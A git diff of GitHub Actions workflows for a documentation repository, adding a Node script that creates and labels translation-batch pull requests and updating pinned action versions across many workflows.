diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
index 462916e3d9..4c6ff3c4fd 100644
--- a/.github/CODEOWNERS
+++ b/.github/CODEOWNERS
@@ -17,6 +17,7 @@ package-lock.json @github/docs-engineering
 package.json @github/docs-engineering
 
 # Localization
+/.github/actions-scripts/create-translation-batch-pr.js @github/docs-localization
 /.github/workflows/create-translation-batch-pr.yml @github/docs-localization
 /.github/workflows/crowdin.yml @github/docs-localization
 /crowdin*.yml @github/docs-engineering @github/docs-localization
diff --git a/.github/actions-scripts/create-translation-batch-pr.js b/.github/actions-scripts/create-translation-batch-pr.js
new file mode 100755
index 0000000000..df5f739b60
--- /dev/null
+++ b/.github/actions-scripts/create-translation-batch-pr.js
@@ -0,0 +1,142 @@
+#!/usr/bin/env node
+
+import fs from 'fs'
+import github from '@actions/github'
+
+const OPTIONS = Object.fromEntries(
+  ['BASE', 'BODY_FILE', 'GITHUB_TOKEN', 'HEAD', 'LANGUAGE', 'TITLE', 'GITHUB_REPOSITORY'].map(
+    (envVarName) => {
+      const envVarValue = process.env[envVarName]
+      if (!envVarValue) {
+        throw new Error(`You must supply a ${envVarName} environment variable`)
+      }
+      return [envVarName, envVarValue]
+    }
+  )
+)
+
+if (!process.env.GITHUB_REPOSITORY) {
+  throw new Error('GITHUB_REPOSITORY environment variable not set')
+}
+
+const RETRY_STATUSES = [
+  422, // Retry the operation if the PR already exists
+  502, // Retry the operation if the API responds with a `502 Bad Gateway` error.
+]
+const RETRY_ATTEMPTS = 3
+const {
+  // One of the default environment variables provided by Actions.
+  GITHUB_REPOSITORY,
+
+  // These are passed in from the step in the workflow file.
+  TITLE,
+  BASE,
+  HEAD,
+  LANGUAGE,
+  BODY_FILE,
+  GITHUB_TOKEN,
+} = OPTIONS
+const [OWNER, REPO] = GITHUB_REPOSITORY.split('/')
+
+const octokit = github.getOctokit(GITHUB_TOKEN)
+
+/**
+ * @param {object} config Configuration options for finding the PR.
+ * @returns {Promise<number | undefined>} The PR number.
+ */
+async function findPullRequestNumber(config) {
+  // Get a list of PRs and see if one already exists.
+  const { data: listOfPullRequests } = await octokit.rest.pulls.list({
+    owner: config.owner,
+    repo: config.repo,
+    head: `${config.owner}:${config.head}`,
+  })
+
+  return listOfPullRequests[0]?.number
+}
+
+/**
+ * When this file was first created, we only introduced support for creating a pull request for some translation batch.
+ * However, some of our first workflow runs failed during the pull request creation due to a timeout error.
+ * There have been cases where, despite the timeout error, the pull request gets created _anyway_.
+ * To accommodate this reality, we created this function to look for an existing pull request before a new one is created.
+ * Although the "find" check is redundant in the first "cycle", it's designed this way to recursively call the function again via its retry mechanism should that be necessary.
+ *
+ * @param {object} config Configuration options for creating the pull request.
+ * @returns {Promise<number>} The PR number.
+ */
+async function findOrCreatePullRequest(config) {
+  const found = await findPullRequestNumber(config)
+
+  if (found) {
+    return found
+  }
+
+  try {
+    const { data: pullRequest } = await octokit.rest.pulls.create({
+      owner: config.owner,
+      repo: config.repo,
+      base: config.base,
+      head: config.head,
+      title: config.title,
+      body: config.body,
+      draft: false,
+    })
+
+    return pullRequest.number
+  } catch (error) {
+    if (!error.response || !config.retryCount) {
+      throw error
+    }
+
+    if (!config.retryStatuses.includes(error.response.status)) {
+      throw error
+    }
+
+    console.error(`Error creating pull request: ${error.message}`)
+    console.warn(`Retrying in 5 seconds...`)
+    await new Promise((resolve) => setTimeout(resolve, 5000))
+
+    config.retryCount -= 1
+
+    return findOrCreatePullRequest(config)
+  }
+}
+
+/**
+ * @param {object} config Configuration options for labeling the PR
+ * @returns {Promise<undefined>}
+ */
+async function labelPullRequest(config) {
+  await octokit.rest.issues.update({
+    owner: config.owner,
+    repo: config.repo,
+    issue_number: config.issue_number,
+    labels: config.labels,
+  })
+}
+
+async function main() {
+  const options = {
+    title: TITLE,
+    base: BASE,
+    head: HEAD,
+    body: fs.readFileSync(BODY_FILE, 'utf8'),
+    labels: ['translation-batch', `translation-batch-${LANGUAGE}`],
+    owner: OWNER,
+    repo: REPO,
+    retryStatuses: RETRY_STATUSES,
+    retryCount: RETRY_ATTEMPTS,
+  }
+
+  options.issue_number = await findOrCreatePullRequest(options)
+  const pr = `${GITHUB_REPOSITORY}#${options.issue_number}`
+  console.log(`Created PR ${pr}`)
+
+  // metadata parameters aren't currently available in `github.rest.pulls.create`,
+  // but they are in `github.rest.issues.update`.
+  await labelPullRequest(options)
+  console.log(`Updated ${pr} with these labels: ${options.labels.join(', ')}`)
+}
+
+main()
diff --git a/.github/workflows/autoupdate-branch.yml b/.github/workflows/autoupdate-branch.yml
index 489c2e5d91..28307836fb 100644
--- a/.github/workflows/autoupdate-branch.yml
+++ b/.github/workflows/autoupdate-branch.yml
@@ -43,7 +43,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/browser-test.yml b/.github/workflows/browser-test.yml
index 14a6efc8f3..e74a88bcfd 100644
--- a/.github/workflows/browser-test.yml
+++ b/.github/workflows/browser-test.yml
@@ -40,7 +40,7 @@ jobs:
         run: git lfs checkout
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -54,13 +54,13 @@ jobs:
         run: npm ci --include=optional
 
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
 
       - name: Cache lib/redirects/.redirects-cache_en_ja.json
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: lib/redirects/.redirects-cache_en_ja.json
           key: ${{ runner.os }}-redirects-cache-${{ hashFiles('.github/workflows/browser-test.yml') }}
diff --git a/.github/workflows/check-all-english-links.yml b/.github/workflows/check-all-english-links.yml
index 5fd19b641c..5bf001ea16 100644
--- a/.github/workflows/check-all-english-links.yml
+++ b/.github/workflows/check-all-english-links.yml
@@ -28,14 +28,14 @@ jobs:
       - name: Check out repo's default branch
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
       - name: npm ci
         run: npm ci
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
diff --git a/.github/workflows/check-broken-links-github-github.yml b/.github/workflows/check-broken-links-github-github.yml
index b2f7496844..fef7273f2d 100644
--- a/.github/workflows/check-broken-links-github-github.yml
+++ b/.github/workflows/check-broken-links-github-github.yml
@@ -42,7 +42,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/code-lint.yml b/.github/workflows/code-lint.yml
index b8a361b411..70a5bccd09 100644
--- a/.github/workflows/code-lint.yml
+++ b/.github/workflows/code-lint.yml
@@ -37,7 +37,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/codespaces-prebuild.yml b/.github/workflows/codespaces-prebuild.yml
new file mode 100644
index 0000000000..1a31b163ca
--- /dev/null
+++ b/.github/workflows/codespaces-prebuild.yml
@@ -0,0 +1,30 @@
+name: Prebuild Codespaces
+
+# **What it does**: Prebuild the Codespaces image using powerful machines.
+#   See https://github.com/github/codespaces-precache#readme for more details.
+#   IMPORTANT: Requires we set a `EXPERIMENTAL_CODESPACE_CACHE_TOKEN` Codespaces
+#   Secret (NOT an Actions Secret) in the repository.
+# **Why we have it**: Reduces startup time when booting Codespaces.
+# **Who does it impact**: Any Docs contributors who want to use Codespaces.
+
+on:
+  push:
+    branches:
+      - main
+  workflow_dispatch:
+
+# Currently requires write, but in the future will only require read
+permissions:
+  contents: write
+
+jobs:
+  createPrebuild:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
+      - uses: github/codespaces-precache@2ad40630d7e3e45e8725d6a74656cb6dd17363dc
+        with:
+          regions: WestUs2 EastUs WestEurope SouthEastAsia
+          sku_name: basicLinux32gb
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
diff --git a/.github/workflows/content-changes-table-comment.yml b/.github/workflows/content-changes-table-comment.yml
index 326924bd59..5eece574db 100644
--- a/.github/workflows/content-changes-table-comment.yml
+++ b/.github/workflows/content-changes-table-comment.yml
@@ -50,7 +50,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/create-translation-batch-pr.yml b/.github/workflows/create-translation-batch-pr.yml
index b9debd628d..8aa426a91d 100644
--- a/.github/workflows/create-translation-batch-pr.yml
+++ b/.github/workflows/create-translation-batch-pr.yml
@@ -116,7 +116,7 @@ jobs:
           git commit -m "Add crowdin translations" || echo "Nothing to commit"
 
       - name: 'Setup node'
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: '16'
 
@@ -166,26 +166,27 @@ jobs:
           script/i18n/report-reset-files.js --report-type=csv --language=${{ matrix.language }} --log-file=/tmp/batch.log > $csvFile
           git add -f $csvFile && git commit -m "Check in ${{ matrix.language }} CSV report" || echo "Nothing to commit"
 
+      - name: Write the reported files that were reset to /tmp/pr-body.txt
+        run: script/i18n/report-reset-files.js --report-type=pull-request-body --language=${{ matrix.language }} --log-file=/tmp/batch.log > /tmp/pr-body.txt
+
+      - name: Push filtered translations
+        run: git push origin ${{ steps.set-branch.outputs.BRANCH_NAME }}
+
       - name: Close existing stale batches
         uses: lee-dohm/close-matching-issues@e9e43aad2fa6f06a058cedfd8fb975fd93b56d8f
         with:
           token: ${{ secrets.OCTOMERGER_PAT_WITH_REPO_AND_WORKFLOW_SCOPE }}
           query: 'type:pr label:translation-batch-${{ matrix.language }}'
 
-      - name: Create Pull Request
+      - name: Create translation batch pull request
         env:
           GITHUB_TOKEN: ${{ secrets.DOCUBOT_REPO_PAT }}
-        # We'll try to create the pull request based on the changes we pushed up in the branch.
-        # If there are actually no differences between the branch and `main`, we'll delete it.
-        run: |
-          script/i18n/report-reset-files.js --report-type=pull-request-body --language=${{ matrix.language }} --log-file=/tmp/batch.log > /tmp/pr-body.txt
-          git push origin ${{ steps.set-branch.outputs.BRANCH_NAME }}
-          gh pr create --title "New translation batch for ${{ matrix.language }}" \
-            --base=main \
-            --head=${{ steps.set-branch.outputs.BRANCH_NAME }} \
-            --label "translation-batch-${{ matrix.language }}" \
-            --label "translation-batch" \
-            --body-file /tmp/pr-body.txt || git push origin :${{ steps.set-branch.outputs.BRANCH_NAME }}
+          TITLE: 'New translation batch for ${{ matrix.language }}'
+          BASE: 'main'
+          HEAD: ${{ steps.set-branch.outputs.BRANCH_NAME }}
+          LANGUAGE: ${{ matrix.language }}
+          BODY_FILE: '/tmp/pr-body.txt'
+        run: .github/actions-scripts/create-translation-batch-pr.js
 
       - name: Approve PR
         if: github.ref_name == 'main'
diff --git a/.github/workflows/crowdin-cleanup.yml b/.github/workflows/crowdin-cleanup.yml
index 2ad2cedba7..0c5ac163de 100644
--- a/.github/workflows/crowdin-cleanup.yml
+++ b/.github/workflows/crowdin-cleanup.yml
@@ -29,7 +29,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -41,7 +41,7 @@ jobs:
         run: script/i18n/homogenize-frontmatter.js
 
       - name: Check in homogenized files
-        uses: EndBug/add-and-commit@2bdc0a61a03738a1d1bda24d566ad0dbe3083d87
+        uses: EndBug/add-and-commit@8c12ff729a98cfbcd3fe38b49f55eceb98a5ec02
         with:
           # The arguments for the `git add` command
           add: 'translations'
diff --git a/.github/workflows/docs-review-collect.yml b/.github/workflows/docs-review-collect.yml
index f247247ffd..917e679a14 100644
--- a/.github/workflows/docs-review-collect.yml
+++ b/.github/workflows/docs-review-collect.yml
@@ -23,7 +23,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/enterprise-dates.yml b/.github/workflows/enterprise-dates.yml
index 158851106d..a6407089d3 100644
--- a/.github/workflows/enterprise-dates.yml
+++ b/.github/workflows/enterprise-dates.yml
@@ -39,7 +39,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -55,7 +55,7 @@ jobs:
 
       - name: Create pull request
         id: create-pull-request
-        uses: peter-evans/create-pull-request@7380612b49221684fefa025244f2ef4008ae50ad
+        uses: peter-evans/create-pull-request@dcd5fd746d53dd8de555c0f10bca6c35628be47a
         env:
           # Disable pre-commit hooks; they don't play nicely here
           HUSKY: '0'
diff --git a/.github/workflows/enterprise-release-sync-search-index.yml b/.github/workflows/enterprise-release-sync-search-index.yml
index 312c06af6b..36ceb1d6f8 100644
--- a/.github/workflows/enterprise-release-sync-search-index.yml
+++ b/.github/workflows/enterprise-release-sync-search-index.yml
@@ -50,7 +50,7 @@ jobs:
           token: ${{ secrets.DOCUBOT_REPO_PAT }}
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -63,7 +63,7 @@ jobs:
         run: $GITHUB_WORKSPACE/.github/actions-scripts/enterprise-search-label.js
 
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
diff --git a/.github/workflows/link-check-all.yml b/.github/workflows/link-check-all.yml
index 77ed0c2736..ad35f5f48d 100644
--- a/.github/workflows/link-check-all.yml
+++ b/.github/workflows/link-check-all.yml
@@ -22,14 +22,14 @@ concurrency:
   cancel-in-progress: true
 
 jobs:
-  build:
+  check-links:
     runs-on: ${{ fromJSON('["ubuntu-latest", "self-hosted"]')[github.repository == 'github/docs-internal'] }}
     steps:
       - name: Checkout
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -37,16 +37,15 @@ jobs:
       - name: Install
         run: npm ci
 
+      # Creates file "${{ env.HOME }}/files.json", among others
       - name: Gather files changed
         uses: trilom/file-changes-action@a6ca26c14274c33b15e6499323aac178af06ad4b
-        id: get_diff_files
         with:
-          # So that `steps.get_diff_files.outputs.files` becomes
-          # a string like `foo.js path/bar.md`
-          output: ' '
-      - name: Insight into changed files
-        run: |
-          echo "${{ steps.get_diff_files.outputs.files }}"
+          fileOutput: 'json'
+
+      # For verification
+      - name: Show files changed
+        run: cat $HOME/files.json
 
       - name: Link check (warnings, changed files)
         run: |
@@ -56,7 +55,7 @@ jobs:
             --check-anchors \
             --check-images \
             --verbose \
-            "${{ steps.get_diff_files.outputs.files }}"
+            --list $HOME/files.json
 
       - name: Link check (critical, all files)
         run: |
diff --git a/.github/workflows/link-check-dotcom.yml b/.github/workflows/link-check-dotcom.yml
index bd4beac60c..b3a258a68d 100644
--- a/.github/workflows/link-check-dotcom.yml
+++ b/.github/workflows/link-check-dotcom.yml
@@ -26,7 +26,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -35,7 +35,7 @@ jobs:
         run: npm ci
 
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
diff --git a/.github/workflows/link-check-ghae.yml b/.github/workflows/link-check-ghae.yml
index bd64871be1..a98abe1c38 100644
--- a/.github/workflows/link-check-ghae.yml
+++ b/.github/workflows/link-check-ghae.yml
@@ -26,7 +26,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -35,7 +35,7 @@ jobs:
         run: npm ci
 
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
diff --git a/.github/workflows/link-check-ghec.yml b/.github/workflows/link-check-ghec.yml
index 4056e3c19a..78160872c4 100644
--- a/.github/workflows/link-check-ghec.yml
+++ b/.github/workflows/link-check-ghec.yml
@@ -24,7 +24,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -33,7 +33,7 @@ jobs:
         run: npm ci
 
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
diff --git a/.github/workflows/link-check-ghes.yml b/.github/workflows/link-check-ghes.yml
index 5bf0f84fce..5d8f874b0e 100644
--- a/.github/workflows/link-check-ghes.yml
+++ b/.github/workflows/link-check-ghes.yml
@@ -26,7 +26,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -35,7 +35,7 @@ jobs:
         run: npm ci
 
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
diff --git a/.github/workflows/open-enterprise-issue.yml b/.github/workflows/open-enterprise-issue.yml
index bad00804fa..49c794b259 100644
--- a/.github/workflows/open-enterprise-issue.yml
+++ b/.github/workflows/open-enterprise-issue.yml
@@ -22,7 +22,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/openapi-decorate.yml b/.github/workflows/openapi-decorate.yml
index 1c01d3fac5..769acb6aec 100644
--- a/.github/workflows/openapi-decorate.yml
+++ b/.github/workflows/openapi-decorate.yml
@@ -34,7 +34,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -46,7 +46,7 @@ jobs:
         run: script/rest/update-files.js --decorate-only
 
       - name: Check in the decorated files
-        uses: EndBug/add-and-commit@2bdc0a61a03738a1d1bda24d566ad0dbe3083d87
+        uses: EndBug/add-and-commit@8c12ff729a98cfbcd3fe38b49f55eceb98a5ec02
         with:
           # The arguments for the `git add` command
           add: 'lib/rest/static/decorated'
diff --git a/.github/workflows/openapi-schema-check.yml b/.github/workflows/openapi-schema-check.yml
index fafc3a74fe..b116c2134a 100644
--- a/.github/workflows/openapi-schema-check.yml
+++ b/.github/workflows/openapi-schema-check.yml
@@ -40,7 +40,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/orphaned-assets-check.yml b/.github/workflows/orphaned-assets-check.yml
index d47c6da5ad..7048faad10 100644
--- a/.github/workflows/orphaned-assets-check.yml
+++ b/.github/workflows/orphaned-assets-check.yml
@@ -18,7 +18,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/os-ready-for-review.yml b/.github/workflows/os-ready-for-review.yml
index 75d00c9d4d..8e12594480 100644
--- a/.github/workflows/os-ready-for-review.yml
+++ b/.github/workflows/os-ready-for-review.yml
@@ -47,7 +47,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.x
           cache: npm
diff --git a/.github/workflows/pa11y.yml b/.github/workflows/pa11y.yml
index 5313c7b677..97acb7b665 100644
--- a/.github/workflows/pa11y.yml
+++ b/.github/workflows/pa11y.yml
@@ -21,7 +21,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -30,7 +30,7 @@ jobs:
         run: npm ci --include=optional
 
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
diff --git a/.github/workflows/package-lock-lint.yml b/.github/workflows/package-lock-lint.yml
index cf800fc55a..3fc9480f2d 100644
--- a/.github/workflows/package-lock-lint.yml
+++ b/.github/workflows/package-lock-lint.yml
@@ -27,7 +27,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.x
 
diff --git a/.github/workflows/ping-staging-apps.yml b/.github/workflows/ping-staging-apps.yml
index 6c76973e8e..b5654ff1e2 100644
--- a/.github/workflows/ping-staging-apps.yml
+++ b/.github/workflows/ping-staging-apps.yml
@@ -21,7 +21,7 @@ jobs:
     steps:
       - uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/prod-build-deploy-azure.yml b/.github/workflows/prod-build-deploy-azure.yml
index d510a37d2f..e638f8189e 100644
--- a/.github/workflows/prod-build-deploy-azure.yml
+++ b/.github/workflows/prod-build-deploy-azure.yml
@@ -51,7 +51,7 @@ jobs:
         run: git lfs checkout
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/prod-build-deploy.yml b/.github/workflows/prod-build-deploy.yml
index e8689c3e75..c95f4a9f25 100644
--- a/.github/workflows/prod-build-deploy.yml
+++ b/.github/workflows/prod-build-deploy.yml
@@ -36,7 +36,7 @@ jobs:
         run: git lfs checkout
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -55,7 +55,7 @@ jobs:
           GIT_BRANCH: main
 
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
diff --git a/.github/workflows/ready-for-doc-review.yml b/.github/workflows/ready-for-doc-review.yml
index fb8652b997..6959b98158 100644
--- a/.github/workflows/ready-for-doc-review.yml
+++ b/.github/workflows/ready-for-doc-review.yml
@@ -21,7 +21,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/remove-stale-staging-resources.yml b/.github/workflows/remove-stale-staging-resources.yml
index 180db6c6bb..5375869132 100644
--- a/.github/workflows/remove-stale-staging-resources.yml
+++ b/.github/workflows/remove-stale-staging-resources.yml
@@ -30,7 +30,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -52,7 +52,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/remove-unused-assets.yml b/.github/workflows/remove-unused-assets.yml
index 261d8a6114..f15b2fa7c1 100644
--- a/.github/workflows/remove-unused-assets.yml
+++ b/.github/workflows/remove-unused-assets.yml
@@ -27,7 +27,7 @@ jobs:
       - name: Checkout
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
